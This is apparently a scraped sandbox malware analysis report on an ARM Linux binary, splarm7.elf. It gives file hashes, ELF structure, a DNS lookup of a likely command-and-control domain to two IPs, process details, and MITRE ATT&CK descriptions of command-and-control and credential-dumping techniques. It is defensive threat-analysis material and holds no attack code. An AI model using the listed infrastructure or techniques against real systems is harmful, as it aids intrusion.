Preview:	8000-1d000 r-xp 00000000 fd:00 531606 /tmp/..24000-25000 rw-p 00014000 fd:00 531606 /tmp/..25000-2b000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.065143367034348
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splarm7.elf
File size:	85'680 bytes
MD5:	b9d448a597f1f7acebf3d6c9792fd3e7
SHA1:	73f331b4488fd761915606a16886a8b4ac28c775
SHA256:	f4cc8739ba6ceb5518352cecf03f4eb6a1eeb19756d4322a46c61e8d42bcf629
SHA512:	647ec1646603c66af4a5bd200bfe6b0ec862f767a5996daf7c99998a24bfe4640781d3d697d97be2bbb7c51945a0cbc90d21982f819f83723f22ca4eff0c5ea8
SSDEEP:	1536:idn9ZygjGahuL7xjHyqKTlZC8x9T+YXEALvpmB0wcDWqmllkOid2BrNQfnI8sR:TaG7/9HnUxVXEATpmB0wcDXt2BrSfnI
TLSH:	5B83084AFD818B55D5D922BEFE1E028D331357A8E3EE7202DD115B143B8A92F0E77642
File Content Preview:	.ELF..............(.........4....L......4. ...(........p8H..8...8...................................PI..PI..............PI..PI..PI......DA..............TI..TI..TI..................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	85000
Section Header Size:	40
Number of Section Headers:	17
Header String Table Index:	16

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x13608	0x0	0x6	AX	0	16
.fini	PROGBITS	0x1b6f8	0x136f8	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x1b708	0x13708	0x1118	0x0	0x2	A	0	4
.ARM.extab	PROGBITS	0x1c820	0x14820	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x1c838	0x14838	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x24950	0x14950	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x24954	0x14954	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x24954	0x14954	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x24958	0x14958	0x4	0x0	0x3	WA	0	4
.jcr	PROGBITS	0x2495c	0x1495c	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x24960	0x14960	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x24a08	0x14a08	0x160	0x0	0x3	WA	0	4
.bss	NOBITS	0x24b68	0x14b68	0x3f2c	0x0	0x3	WA	0	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x14b68	0x16	0x0	0x0		0	1
.shstrtab	STRTAB	0x0	0x14b7e	0x88	0x0	0x0		0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x14838	0x1c838	0x1c838	0x118	0x118	4.4915	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x14950	0x14950	6.0867	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x14950	0x24950	0x24950	0x218	0x4144	2.6721	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x14954	0x24954	0x24954	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 08:02:42.298645973 CET	168.235.111.72	192.168.2.14	0xc7e	No error (0)	yellowchink.pirate		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:02:42.298645973 CET	168.235.111.72	192.168.2.14	0xc7e	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false

Start time (UTC):	07:02:40
Start date (UTC):	28/10/2024
Path:	/tmp/splarm7.elf
Arguments:	/tmp/splarm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	07:02:41
Start date (UTC):	28/10/2024
Path:	/tmp/splarm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splarm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0EgCe0 (deleted)

/tmp/qemu-open.0OCsE0 (deleted)

/tmp/qemu-open.0rzmT1 (deleted)

/tmp/qemu-open.1I6YQZ (deleted)

/tmp/qemu-open.27QdkY (deleted)

/tmp/qemu-open.3g6Dl2 (deleted)

/tmp/qemu-open.3vRvP0 (deleted)

/tmp/qemu-open.584bRZ (deleted)

/tmp/qemu-open.5N6Sx1 (deleted)

/tmp/qemu-open.6POEsY (deleted)

/tmp/qemu-open.6mDO9Z (deleted)

/tmp/qemu-open.7HUnLY (deleted)

/tmp/qemu-open.7WbyaZ (deleted)

/tmp/qemu-open.7dlLL0 (deleted)

/tmp/qemu-open.8GflI1 (deleted)

/tmp/qemu-open.8ciln2 (deleted)

/tmp/qemu-open.9RPIm0 (deleted)

/tmp/qemu-open.9nC1L0 (deleted)

/tmp/qemu-open.A7OWM1 (deleted)

/tmp/qemu-open.ATM5eZ (deleted)

/tmp/qemu-open.As6Gp1 (deleted)

/tmp/qemu-open.AsMsoY (deleted)

/tmp/qemu-open.CMTy0Y (deleted)

/tmp/qemu-open.Cd17g1 (deleted)

/tmp/qemu-open.Cwx3Q0 (deleted)

/tmp/qemu-open.DMJxVY (deleted)

/tmp/qemu-open.E0qv1Z (deleted)

/tmp/qemu-open.Ergo3Y (deleted)

/tmp/qemu-open.FOOQhZ (deleted)

/tmp/qemu-open.FYwGBY (deleted)

/tmp/qemu-open.FpkcEY (deleted)

/tmp/qemu-open.FvVxrY (deleted)

/tmp/qemu-open.Fyhj2Y (deleted)

/tmp/qemu-open.GIT0D2 (deleted)

Linux Analysis Report
splarm7.elf

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre